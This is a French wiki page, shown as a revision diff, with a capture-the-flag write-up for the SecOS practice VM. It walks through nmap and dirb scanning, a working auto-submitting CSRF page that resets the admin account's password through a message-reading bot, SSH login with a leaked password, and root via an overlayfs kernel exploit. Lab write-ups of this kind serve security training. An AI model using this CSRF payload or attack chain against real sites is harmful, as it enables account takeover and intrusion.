Ci-dessous, les différences entre deux révisions de la page.
— |
vm:secos [2017/08/07 13:17] (Version actuelle) arkinar créée |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | **SecOs - Write Up** | ||
+ | __Reconnaissance__ | ||
+ | |||
+ | <code BASH> | ||
+ | nmap -sS -A 192.168.43.38 | ||
+ | |||
+ | ports ouverts : | ||
+ | 22 ssh | ||
+ | 8081/tcp open http Node.js (Express middleware) | ||
+ | |||
+ | </code> | ||
+ | |||
+ | |||
+ | __Exploitation Web__ | ||
+ | |||
+ | Pour le port 8081 : | ||
+ | |||
+ | {{ :vm:web.png?nolink |}} | ||
+ | |||
+ | Avec l'outil [[https://sourceforge.net/projects/dirb/files/ | dirb]] on va chercher les fichiers existants : | ||
+ | <code BASH> | ||
+ | ./dirb http://192.168.43.38:8081/ wordlists/common.txt | ||
+ | |||
+ | + http://192.168.43.38:8081/about (CODE:200|SIZE:2330) | ||
+ | + http://192.168.43.38:8081/About (CODE:200|SIZE:2330) | ||
+ | + http://192.168.43.38:8081/css (CODE:303|SIZE:20) | ||
+ | + http://192.168.43.38:8081/hint (CODE:200|SIZE:2287) | ||
+ | + http://192.168.43.38:8081/js (CODE:303|SIZE:19) | ||
+ | + http://192.168.43.38:8081/login (CODE:200|SIZE:2337) | ||
+ | + http://192.168.43.38:8081/Login (CODE:200|SIZE:2337) | ||
+ | + http://192.168.43.38:8081/logout (CODE:301|SIZE:0) | ||
+ | + http://192.168.43.38:8081/messages (CODE:301|SIZE:0) | ||
+ | + http://192.168.43.38:8081/sign-up (CODE:200|SIZE:2280) | ||
+ | + http://192.168.43.38:8081/users (CODE:301|SIZE:0) | ||
+ | |||
+ | </code> | ||
+ | Dirb nous ressort une page intéressante : hint | ||
+ | |||
+ | {{ :vm:secos_hint.png?nolink |}} | ||
+ | |||
+ | On regarde le code source : | ||
+ | |||
+ | {{ :vm:secos_hint2.png?nolink |}} | ||
+ | |||
+ | Vu les informations récoltées il y a de forte chance que l'ont est besoin de faire une CSRF dans la suite du challenge. | ||
+ | |||
+ | Pour accéder à la plateforme il faut se créer un compte. | ||
+ | |||
+ | Dans la liste des comptes utilisateurs on remarque que seul le compte **spiderman** est administrateur. | ||
+ | {{ :vm:secos_users.png?nolink |}} | ||
+ | |||
+ | Une page de réinitialisation de mot de passe et une page de contact sont présentes sur le site. | ||
+ | |||
+ | {{ :vm:secos_message.png?nolink |}} | ||
+ | |||
+ | Après avoir envoyé une bonne quantité de messages , j'ai compris : | ||
+ | - Faire venir le bot sur notre machine | ||
+ | - Lui faire exécuter du JS pour réinitialiser son mot de passe | ||
+ | |||
+ | En local j'ai créé un fichier csrf.html : | ||
+ | |||
+ | <file HTML csrf.html> | ||
+ | <!DOCTYPE html> | ||
+ | <html> | ||
+ | <body> | ||
+ | <iframe style="display:none" name="csrf-frame"></iframe> | ||
+ | <form action="http://127.0.0.1:8081/change-password" method="POST" id="csrf-form"> | ||
+ | <input class="input-block-level" placeholder="spiderman" name="username" disabled="" type="text" value="spiderman"> | ||
+ | <input class="input-block-level" placeholder="Password" name="password" type="password" value="test"> | ||
+ | </form> | ||
+ | <script>document.getElementById("csrf-form").submit()</script> | ||
+ | </body> | ||
+ | </html> | ||
+ | </file> | ||
+ | |||
+ | Puis j'ai ouvert un socket python en écoute sur le port 80 : | ||
+ | |||
+ | <code bash> | ||
+ | python -m SimpleHTTPServer 80 | ||
+ | </code> | ||
+ | |||
+ | Il faut ensuite envoyer un jolie petit message à spiderman depuis votre compte : | ||
+ | |||
+ | {{ :vm:secos_message2.png?nolink |}} | ||
+ | |||
+ | Quelques minutes plus tard on obtient cela : | ||
+ | |||
+ | <code> | ||
+ | 192.168.43.38 - - [07/Aug/2017 14:22:29] "GET /csrf.html HTTP/1.1" 200 - | ||
+ | </code> | ||
+ | |||
+ | Le bot est bien passé et a exécuter notre CSRF. | ||
+ | |||
+ | On peut dès à présent se connecter avec les identifiants : **spiderman/test** | ||
+ | |||
+ | Dans les messages de spiderman on remarque que quelqu'un a déjà piraté le compte : | ||
+ | |||
+ | {{ :vm:secos_pirate.png?nolink |}} | ||
+ | |||
+ | On utilise le mot de passe **CrazyPassword!** pour se connecter en ssh. | ||
+ | |||
+ | |||
+ | __Exploitation système & Élévation de privilège__ | ||
+ | |||
+ | Récupération de la version du noyau : | ||
+ | <code BASH> | ||
+ | uname -a | ||
+ | Linux SecOS-1 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686 i686 i686 GNU/Linux | ||
+ | </code> | ||
+ | |||
+ | On va chercher la version de la distribution : | ||
+ | |||
+ | <code BASH> | ||
+ | lsb_release -a | ||
+ | No LSB modules are available. | ||
+ | Distributor ID: Ubuntu | ||
+ | Description: Ubuntu 14.04 LTS | ||
+ | Release: 14.04 | ||
+ | Codename: trusty | ||
+ | </code> | ||
+ | |||
+ | L'élévation se fait à l'aide de l'exploit : [[https://www.exploit-db.com/exploits/37292/ | overlayfs]] | ||
+ | |||
+ | {{ :vm:secos_root.png?nolink |}} | ||
+ | |||
+ | <code bash> | ||
+ | cat /root/flag.txt | ||
+ | </code> | ||
+ | {{ :vm:flag.png?nolink |}} | ||
+ | |||
+ | Merci à l'auteur de la machine. |